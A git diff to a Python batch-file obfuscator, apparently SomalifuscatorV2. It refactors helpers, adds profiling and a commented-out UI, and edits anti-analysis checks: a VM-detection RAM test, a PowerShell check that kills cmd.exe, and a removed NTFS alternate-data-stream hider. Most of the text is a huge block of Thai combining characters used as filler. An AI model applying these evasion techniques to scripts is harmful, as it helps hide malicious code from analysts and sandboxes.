diff --git a/src/main.py b/src/main.py index 6ff9ba9..9b41699 100644 --- a/src/main.py +++ b/src/main.py @@ -1,6 +1,7 @@ import os import sys import time +import cProfile from util.supporting.settings import all_ @@ -20,7 +21,7 @@ from argparse import ArgumentParser -__version__ = "2.3.0" +__version__ = "2.6.0" class Main: @@ -66,10 +67,151 @@ def main(self): input("Press any key to exit...") +TIME_CHECK = False + +if TIME_CHECK: + parse = ArgumentParser() + parse.add_argument("-f", "--file", help="File to obfuscate", type=str) + parse.add_argument("-nu", "--no-utf-16-bom", help="No UTF-16 BOM", action="store_true") + args = parse.parse_args() + # profile the Main().main() function and show what functions took the longest to execute and write the info to a file + with cProfile.Profile() as pr: + Main().main() + pr.print_stats(sort="cumtime") + with open("profile.txt", "w") as f: + sys.stdout = f + pr.print_stats(sort="time") + sys.exit(0) + if __name__ == "__main__": parse = ArgumentParser() parse.add_argument("-f", "--file", help="File to obfuscate", type=str) parse.add_argument("-nu", "--no-utf-16-bom", help="No UTF-16 BOM", action="store_true") args = parse.parse_args() Main().main() - sys.exit(0) + +# import os +# import sys +# import time +# import json +# from dataclasses import dataclass +# +# from util.methods.common.common import console +# +# from util.supporting.settings import conf_file +# +# try: +# from tkinter import Tk +# from tkinter import filedialog as fd +# except: +# pass +# +# from rich.align import Align +# +# from textual.app import App, ComposeResult +# from textual.containers import Container, Horizontal, ScrollableContainer +# from textual.widgets import Footer, Header, Button, Static, Placeholder, Pretty, RichLog +# from textual.events import Print +# from textual.reactive import Reactive +# from textual.binding import Binding +# from rich.syntax import Syntax +# from textual import work, events +# +# +# @dataclass +# class settings: +# file: str = "" +# debug: bool = False +# +# +# class Code_Console1(Static): +# code: str = Reactive("test") +# +# def compose(self) -> ComposeResult: +# yield RichLog(highlight=True, markup=True) +# +# +# class Code_Console2(Static): +# def compose(self) -> ComposeResult: +# settings.file = SomalifuscatorV2.get_user_file() +# with open(settings.file, "r") as f: +# code = f.read() +# yield Static( +# Syntax(code, "bat", theme="monokai", line_numbers=True, word_wrap=True), +# ) +# +# +# class Obfuscator(Static): +# def compose(self) -> ComposeResult: +# yield Button("Obfuscate", id="start", variant="success") +# +# +# class SomalifuscatorV2(App): +# CSS_PATH = "util\\ui\\style.tcss" +# BINDINGS = [Binding("d", "toggle_debug", "Toggle Debug")] +# +# def on_button_pressed(self, event: Button.Pressed) -> None: +# if event.button.id == "start": +# OBF(settings.file, double_click_check=all_.double_click_check, utf_16_bom=all_.utf_16_bom) +# else: +# print("Unknown button pressed!") +# +# def compose(self) -> ComposeResult: +# yield Header() +# yield Footer() +# with Container(id="MainContainer"): +# yield Horizontal( +# ScrollableContainer(Code_Console1()), +# ScrollableContainer(Code_Console2()), +# ) +# yield Obfuscator() +# +# def action_toggle_debug(self) -> None: +# settings.debug = not settings.debug +# print(f"Debug is now {settings.debug}") +# +# def on_print(self, event: Print) -> None: +# # check if any text in events.text is not in string.printable +# # if so, then it's probably a key event +# self.query_one(RichLog).write(event.text) +# +# def on_mount(self) -> None: +# self.run_my_worker() +# +# @work(thread=True) +# def run_my_worker(self): +# self.begin_capture_print(self, True, True) +# +# @staticmethod +# def pretty_print_settings() -> None: +# with open(conf_file, "r") as f: +# settings = json.load(f) +# print(Align.center(f"[cyan]Settings: {conf_file}[/cyan]")) +# print(Align.center(f"[bold white]{'-' * (14 + len(conf_file.strip()))}[/bold white]")) +# for key, value in settings.items(): +# print(Align.center(f"[bold white]{key}: [/bold white]{value}")) +# +# @staticmethod +# def get_user_file() -> str: +# """ +# Prompts the user to select a batch file. +# Returns the file path of the selected file. +# +# Returns: +# - str: The file path of the selected file. +# """ +# file_path = "" +# # keep prompting user until they select a valid file +# root = Tk() +# root.withdraw() +# root.wm_attributes("-topmost", 1) +# while not os.path.isfile(file_path): +# # make sure file is bat file +# file_path = fd.askopenfilename( +# title="Select a batch file", +# filetypes=[("Batch Files", ("*.bat", "*.cmd"))], +# initialdir=os.getcwd(), +# parent=root, +# ) +# root.destroy() +# return file_path diff --git a/src/util/methods/anti_methods/anti_changes.py b/src/util/methods/anti_methods/anti_changes.py index 2b71dca..6981aeb 100644 --- a/src/util/methods/anti_methods/anti_changes.py +++ b/src/util/methods/anti_methods/anti_changes.py @@ -2,7 +2,6 @@ from util.methods.common.common import make_random_string -from util.obfuscation.obf_oneline import Obfuscate_Single from util.supporting.settings import all_ checked = False @@ -36,8 +35,8 @@ def byte_check(*args, **kwargs) -> str: """powershell -NoLogo -NoProfile -ExecutionPolicy Bypass -Command \"$bytes = [System.IO.File]::ReadAllBytes('%~f0') ; if (($bytes[0] -ne 0xFF) -or ($bytes[1] -ne 0xFE) -or ($bytes[2] -ne 0x26)) { Write-Host 'The first 3 bytes of the file are not FF FE 0A.' ; taskkill /F /IM cmd.exe }\"""", ] - choice = random.choice(choices) - return choice + # choice = random.choice(choices) + return choices[0] @staticmethod def vm_test(*args, **kwargs): @@ -49,7 +48,8 @@ def vm_test(*args, **kwargs): # """powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$tr=(Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1KB ; $trgb=[math]::Round($tr / 1024, 2) ; if ($trgb -lt 8) { Write-Host 'Less than 8gb ram exiting' ; pause }\"""" ] # ill add more one day - return random.choice(codes) + # return random.choice(codes) + return codes[0] @staticmethod def anti_wifi(*args, **kwargs) -> str: @@ -64,38 +64,15 @@ def tests(*args, **kwargs): AntiChanges.first_line_echo_check, ] - if all_.require_wifi: - choices.append(AntiChanges.anti_wifi) + # if all_.require_wifi: + # choices.append(AntiChanges.anti_wifi) # if all_.utf_16_bom: # choices.append(AntiChanges.byte_check) - return random.choice(choices)(False) - - @staticmethod - def ads_spammer(code: list, *args, **kwargs) -> list: - ads_points = {} - for index, line in enumerate(code): - random_chance = random.randint(1, 10) - if random_chance == 1: - # replace the line with a ads method that points towards its own scramble - line.replace("|", "^|").replace(">", "^>").replace("<", "^<").replace("&", "^&").replace("%", "%%") - random_point = make_random_string((5, 6), False) - while random_point in ads_points: - random_point = make_random_string((5, 6), False) - command = f"%TO_SCRAMBLE_PLZ%{Obfuscate_Single('echo').out()} {line} > %~f0:{random_point}\n" - random_letter = make_random_string((1, 1), False) - out_command = f'%TO_SCRAMBLE_PLZ%for /f "usebackq delims=φ" %%{random_letter} in (%~f0:{random_point}) do %%{random_letter}\n' - - # command = Obfuscate_Single(command, simple=False).out() - # out_command = Obfuscate_Single(out_command, simple=False).out() - - together = command + out_command - - print(together) - - # replace the current line of code with this and rewrite it - code[index] = together - return code + # return the name of the function used too + choice = random.choice(choices) + output = choice() + return (output, choice.__name__) @staticmethod def anti_edit(*args, **kwargs): diff --git a/src/util/methods/common/common.py b/src/util/methods/common/common.py index 1d5f969..ee04580 100644 --- a/src/util/methods/common/common.py +++ b/src/util/methods/common/common.py @@ -1,5 +1,5 @@ -import random, string - +import string +import random from rich.console import Console from util.supporting.settings import * @@ -14,14 +14,12 @@ def escape_batch(code: str) -> str: - code = code.replace("%", "%%").replace("!", "^!").replace("^", "^^").replace('"', '^"').replace("<", "^<").replace(">", "^>").replace("&", "^&").replace("|", "^|").replace("=", "^=").replace("(", "^(").replace(")", "^)") - return code + translation_table = str.maketrans({"%": "%%", "!": "^!", "^": "^^", '"': '^"', "<": "^<", ">": "^>", "&": "^&", "|": "^|", "=": "^=", "(": "^(", ")": "^)"}) + return code.translate(translation_table) def random_scramble() -> str: - if random.choice([True, False]): - return "%TO_SCRAMBLE_PLZ%" - return "" + return "%TO_SCRAMBLE_PLZ%" if random.choice([True, False]) else "" def make_random_string(length_nums=(5, 7), special_chars=True): @@ -29,24 +27,13 @@ def make_random_string(length_nums=(5, 7), special_chars=True): no_spec = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" spec = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ#$(),?[]_" choice_list = spec if special_chars else no_spec - stringed = "".join( - random.choice( - # Batch has a specific issue with characters that aren't in the normal ASCII table cause if u got them in a variable it will make the variable explode. I fixed this before by changing the chcp to 65001 but sometimes that wouldn't fix things - # "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZḆḞԍǏƘԸɌȚЦѠƳȤѧćễļṃʼnᵲừŵź☠☢☣卐" - # "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" - choice_list - ) - for _ in range(length) - ) + stringed = "" + while len(stringed) < length: + stringed += random.choice(choice_list) while "echo" in stringed.lower(): - stringed = "".join( - random.choice( - # Batch has a specific issue with characters that aren't in the normal ASCII table cause if u got them in a variable it will make the variable explode. I fixed this before by changing the chcp to 65001 but sometimes that wouldn't fix things - # "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZḆḞԍǏƘԸɌȚЦѠƳȤѧćễļṃʼnᵲừŵź☠☢☣卐" - "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" - ) - for _ in range(length) - ) + stringed = "" + while len(stringed) < length: + stringed += random.choice(choice_list) return stringed @@ -69,6 +56,11 @@ def make_random_label_no_working(): return "".join(random.choice(chinese_characters) for _ in range(length)) +def random_space_ammount(): + num_spaces = random.randint(1, 5) + return " " * num_spaces + + def random_single_carrot(string): if isinstance(string, bool): return "^" if (ran := random.choice([True, False])) else "" @@ -82,18 +74,17 @@ def random_single_carrot(string): raise TypeError("string must be a string or bool") -def random_semi_and_comma(string): +def random_semi_and_comma(): symbols = [";", ",", " ", " "] random_symbols = "".join(random.choice(symbols) for _ in range(random.randint(3, 7))) - return random_symbols + string + random_symbols + return random_symbols def pogdog(entire_array): uni = r"็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ 